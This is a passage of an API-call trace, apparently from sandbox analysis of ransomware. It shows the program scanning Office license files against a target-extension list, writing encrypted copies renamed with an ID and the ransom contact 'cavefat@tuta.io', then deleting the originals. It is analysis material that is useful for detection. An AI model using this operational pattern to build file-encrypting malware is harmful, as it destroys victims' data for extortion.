lpString2="m-ms") returned -1 [0245.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ul-oob.xrm-ms") returned 86 [0245.110] lstrlenW (lpString=".jpg") returned 4 [0245.110] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0245.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ul-oob.xrm-ms") returned 86 [0245.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ul-oob.xrm-ms") returned 86 [0245.110] lstrlenW (lpString=".doc") returned 4 [0245.111] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0245.111] lstrlenW (lpString=".docx") returned 5 [0245.111] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0245.111] lstrlenW (lpString=".pdf") returned 4 [0245.111] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0245.111] lstrlenW (lpString=".xls") returned 4 [0245.111] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0245.111] lstrlenW (lpString=".xlsx") returned 5 [0245.111] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0245.111] lstrlenW (lpString=".ppt") returned 4 [0245.111] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0245.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ul-oob.xrm-ms") returned 86 [0245.111] lstrlenW (lpString=".zip") returned 4 [0245.111] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0245.111] lstrlenW (lpString=".rar") returned 4 [0245.111] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0245.111] lstrlenW (lpString=".bz2") returned 4 [0245.111] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0245.111] lstrlenW (lpString=".7z") returned 3 [0245.111] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0245.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ul-oob.xrm-ms") returned 86 [0245.111] lstrlenW (lpString=".dbf") returned 4 [0245.111] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0245.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ul-oob.xrm-ms") returned 86 [0245.111] lstrlenW (lpString=".1cd") returned 4 [0245.111] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0245.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ul-oob.xrm-ms") returned 86 [0245.111] lstrlenW (lpString=".jpg") returned 4 [0245.111] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0245.111] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0245.111] lstrlenW (lpString="O365HomePremR_SubTest5-pl.xrm-ms") returned 32 [0245.111] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest5-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0245.112] GetFileSizeEx (in: hFile=0x4d4, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=11179) returned 1 [0245.112] CloseHandle (hObject=0x4d4) returned 1 [0245.112] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest5-pl.xrm-ms")) returned 0x220 [0245.112] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-pl.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest5-pl.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0245.112] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest5-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0245.112] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.113] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.113] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-pl.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest5-pl.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0245.113] GetLastError () returned 0x0 [0245.113] ReadFile (in: hFile=0x4d4, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x2bab, lpOverlapped=0x0) returned 1 [0245.115] WriteFile (in: hFile=0x4c8, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x2bb0, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x2bb0, lpOverlapped=0x0) returned 1 [0245.116] ReadFile (in: hFile=0x4d4, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0245.116] WriteFile (in: hFile=0x4c8, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x114, lpOverlapped=0x0) returned 1 [0245.116] SetEndOfFile (hFile=0x4c8) returned 1 [0245.116] CloseHandle (hObject=0x4c8) returned 1 [0245.116] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.116] SetEndOfFile (hFile=0x4d4) returned 1 [0245.118] CloseHandle (hObject=0x4d4) returned 1 [0245.118] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-pl.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0245.119] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest5-pl.xrm-ms")) returned 1 [0245.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-pl.xrm-ms") returned 82 [0245.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-pl.xrm-ms") returned 82 [0245.120] lstrlenW (lpString=".doc") returned 4 [0245.120] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0245.120] lstrlenW (lpString=".docx") returned 5 [0245.120] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0245.120] lstrlenW (lpString=".pdf") returned 4 [0245.120] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0245.120] lstrlenW (lpString=".xls") returned 4 [0245.120] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0245.120] lstrlenW (lpString=".xlsx") returned 5 [0245.120] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0245.120] lstrlenW (lpString=".ppt") returned 4 [0245.120] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0245.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-pl.xrm-ms") returned 82 [0245.120] lstrlenW (lpString=".zip") returned 4 [0245.120] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0245.120] lstrlenW (lpString=".rar") returned 4 [0245.120] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0245.120] lstrlenW (lpString=".bz2") returned 4 [0245.120] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0245.120] lstrlenW (lpString=".7z") returned 3 [0245.120] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0245.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-pl.xrm-ms") returned 82 [0245.120] lstrlenW (lpString=".dbf") returned 4 [0245.120] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0245.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-pl.xrm-ms") returned 82 [0245.120] lstrlenW (lpString=".1cd") returned 4 [0245.120] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0245.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-pl.xrm-ms") returned 82 [0245.120] lstrlenW (lpString=".jpg") returned 4 [0245.120] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0245.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-pl.xrm-ms") returned 82 [0245.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-pl.xrm-ms") returned 82 [0245.120] lstrlenW (lpString=".doc") returned 4 [0245.120] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0245.120] lstrlenW (lpString=".docx") returned 5 [0245.120] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0245.120] lstrlenW (lpString=".pdf") returned 4 [0245.120] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0245.120] lstrlenW (lpString=".xls") returned 4 [0245.120] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0245.120] lstrlenW (lpString=".xlsx") returned 5 [0245.120] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0245.120] lstrlenW (lpString=".ppt") returned 4 [0245.120] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0245.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-pl.xrm-ms") returned 82 [0245.120] lstrlenW (lpString=".zip") returned 4 [0245.120] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0245.120] lstrlenW (lpString=".rar") returned 4 [0245.121] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0245.121] lstrlenW (lpString=".bz2") returned 4 [0245.121] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0245.121] lstrlenW (lpString=".7z") returned 3 [0245.121] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0245.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-pl.xrm-ms") returned 82 [0245.121] lstrlenW (lpString=".dbf") returned 4 [0245.121] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0245.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-pl.xrm-ms") returned 82 [0245.121] lstrlenW (lpString=".1cd") returned 4 [0245.121] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0245.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-pl.xrm-ms") returned 82 [0245.121] lstrlenW (lpString=".jpg") returned 4 [0245.121] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0245.121] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0245.121] lstrlenW (lpString="O365HomePremR_SubTest5-ppd.xrm-ms") returned 33 [0245.121] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest5-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0245.122] GetFileSizeEx (in: hFile=0x4d4, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=23134) returned 1 [0245.122] CloseHandle (hObject=0x4d4) returned 1 [0245.122] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest5-ppd.xrm-ms")) returned 0x220 [0245.122] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest5-ppd.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0245.122] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest5-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0245.123] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.123] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.123] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest5-ppd.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0245.124] GetLastError () returned 0x0 [0245.124] ReadFile (in: hFile=0x4d4, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x5a5e, lpOverlapped=0x0) returned 1 [0245.221] WriteFile (in: hFile=0x4c8, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x5a60, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x5a60, lpOverlapped=0x0) returned 1 [0245.222] ReadFile (in: hFile=0x4d4, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0245.222] WriteFile (in: hFile=0x4c8, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x116, lpOverlapped=0x0) returned 1 [0245.222] SetEndOfFile (hFile=0x4c8) returned 1 [0245.222] CloseHandle (hObject=0x4c8) returned 1 [0245.222] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.222] SetEndOfFile (hFile=0x4d4) returned 1 [0245.225] CloseHandle (hObject=0x4d4) returned 1 [0245.225] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0245.349] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest5-ppd.xrm-ms")) returned 1 [0245.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ppd.xrm-ms") returned 83 [0245.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ppd.xrm-ms") returned 83 [0245.788] lstrlenW (lpString=".doc") returned 4 [0245.788] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0245.788] lstrlenW (lpString=".docx") returned 5 [0245.788] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0245.788] lstrlenW (lpString=".pdf") returned 4 [0245.788] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0245.788] lstrlenW (lpString=".xls") returned 4 [0245.788] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0245.788] lstrlenW (lpString=".xlsx") returned 5 [0245.788] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0245.788] lstrlenW (lpString=".ppt") returned 4 [0245.788] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0245.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ppd.xrm-ms") returned 83 [0245.788] lstrlenW (lpString=".zip") returned 4 [0245.788] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0245.788] lstrlenW (lpString=".rar") returned 4 [0245.788] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0245.788] lstrlenW (lpString=".bz2") returned 4 [0245.788] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0245.788] lstrlenW (lpString=".7z") returned 3 [0245.788] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0245.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ppd.xrm-ms") returned 83 [0245.789] lstrlenW (lpString=".dbf") returned 4 [0245.789] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0245.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ppd.xrm-ms") returned 83 [0245.789] lstrlenW (lpString=".1cd") returned 4 [0245.789] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0245.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ppd.xrm-ms") returned 83 [0245.789] lstrlenW (lpString=".jpg") returned 4 [0245.789] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0245.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ppd.xrm-ms") returned 83 [0245.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ppd.xrm-ms") returned 83 [0245.789] lstrlenW (lpString=".doc") returned 4 [0245.789] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0245.789] lstrlenW (lpString=".docx") returned 5 [0245.789] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0245.789] lstrlenW (lpString=".pdf") returned 4 [0245.789] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0245.789] lstrlenW (lpString=".xls") returned 4 [0245.789] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0245.789] lstrlenW (lpString=".xlsx") returned 5 [0245.789] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0245.789] lstrlenW (lpString=".ppt") returned 4 [0245.789] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0245.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ppd.xrm-ms") returned 83 [0245.789] lstrlenW (lpString=".zip") returned 4 [0245.789] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0245.789] lstrlenW (lpString=".rar") returned 4 [0245.789] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0245.789] lstrlenW (lpString=".bz2") returned 4 [0245.789] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0245.789] lstrlenW (lpString=".7z") returned 3 [0245.789] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0245.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ppd.xrm-ms") returned 83 [0245.789] lstrlenW (lpString=".dbf") returned 4 [0245.789] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0245.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ppd.xrm-ms") returned 83 [0245.789] lstrlenW (lpString=".1cd") returned 4 [0245.789] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0245.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ppd.xrm-ms") returned 83 [0245.789] lstrlenW (lpString=".jpg") returned 4 [0245.789] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0245.789] lstrlenW (lpString=".id-") returned 4 [0245.789] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x558ad8 | out: hHeap=0x4f0000) returned 1 [0245.789] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5806d8 | out: hHeap=0x4f0000) returned 1 [0245.789] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x38d0930 | out: hHeap=0x4f0000) returned 1 [0245.790] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x38e0938 | out: hHeap=0x4f0000) returned 1 [0245.791] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3ad5020 | out: hHeap=0x4f0000) returned 1 [0245.794] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x558a60 | out: hHeap=0x4f0000) returned 1 [0245.794] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x40d9f28 [0245.794] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x40d9f28, Size=0x20) returned 0x40eb198 [0245.794] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x40d9f28 [0245.794] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x40d9f28, Size=0x20) returned 0x40eb4b8 [0245.794] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x73f50000 [0245.794] GetProcAddress (hModule=0x73f50000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x73f66b30 [0245.794] Wow64DisableWow64FsRedirection (in: OldValue=0x2e5ff50 | out: OldValue=0x2e5ff50*=0x1) returned 1 [0245.794] lstrlenW (lpString="kernel32.dll") returned 12 [0245.795] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40eb4b8 | out: hHeap=0x4f0000) returned 1 [0245.795] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0245.795] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40eb198 | out: hHeap=0x4f0000) returned 1 Thread: id = 321 os_tid = 0xd40 [0224.117] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10000) returned 0x38f1220 [0224.117] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10000) returned 0x3901228 [0224.117] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x558a78 [0224.117] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x6) returned 0x580708 [0224.117] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x558af0 [0224.117] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x100000) returned 0x3bea020 [0224.119] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x558b08 [0224.119] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x558b08, Size=0x20) returned 0x52f090 [0224.119] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x558b08 [0224.119] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x558b08, Size=0x20) returned 0x52f108 [0224.120] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x73f50000 [0224.120] GetProcAddress (hModule=0x73f50000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x73f66b30 [0224.120] Wow64DisableWow64FsRedirection (in: OldValue=0x2f9ff50 | out: OldValue=0x2f9ff50*=0x0) returned 1 [0224.120] lstrlenW (lpString="kernel32.dll") returned 12 [0224.120] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f090 | out: hHeap=0x4f0000) returned 1 [0224.120] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0224.120] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f108 | out: hHeap=0x4f0000) returned 1 [0224.120] Sleep (dwMilliseconds=0x64) [0224.300] lstrcmpiW (lpString1=".MARKER", lpString2=".HCK") returned 1 [0224.300] lstrlenW (lpString="$WINRE_BACKUP_PARTITION.MARKER") returned 30 [0224.300] CreateFileW (lpFileName="C:\\$WINRE_BACKUP_PARTITION.MARKER" (normalized: "c:\\$winre_backup_partition.marker"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0224.302] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=0) returned 1 [0224.302] CloseHandle (hObject=0x350) returned 1 [0224.303] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0224.303] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0224.303] lstrlenW (lpString=".doc") returned 4 [0224.303] lstrcmpiW (lpString1=".doc", lpString2="RKER") returned -1 [0224.303] lstrlenW (lpString=".docx") returned 5 [0224.303] lstrcmpiW (lpString1=".docx", lpString2="ARKER") returned -1 [0224.303] lstrlenW (lpString=".pdf") returned 4 [0224.303] lstrcmpiW (lpString1=".pdf", lpString2="RKER") returned -1 [0224.303] lstrlenW (lpString=".xls") returned 4 [0224.303] lstrcmpiW (lpString1=".xls", lpString2="RKER") returned -1 [0224.303] lstrlenW (lpString=".xlsx") returned 5 [0224.303] lstrcmpiW (lpString1=".xlsx", lpString2="ARKER") returned -1 [0224.303] lstrlenW (lpString=".ppt") returned 4 [0224.303] lstrcmpiW (lpString1=".ppt", lpString2="RKER") returned -1 [0224.303] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0224.303] lstrlenW (lpString=".zip") returned 4 [0224.303] lstrcmpiW (lpString1=".zip", lpString2="RKER") returned -1 [0224.303] lstrlenW (lpString=".rar") returned 4 [0224.303] lstrcmpiW (lpString1=".rar", lpString2="RKER") returned -1 [0224.303] lstrlenW (lpString=".bz2") returned 4 [0224.303] lstrcmpiW (lpString1=".bz2", lpString2="RKER") returned -1 [0224.303] lstrlenW (lpString=".7z") returned 3 [0224.303] lstrcmpiW (lpString1=".7z", lpString2="KER") returned -1 [0224.303] lstrlenW 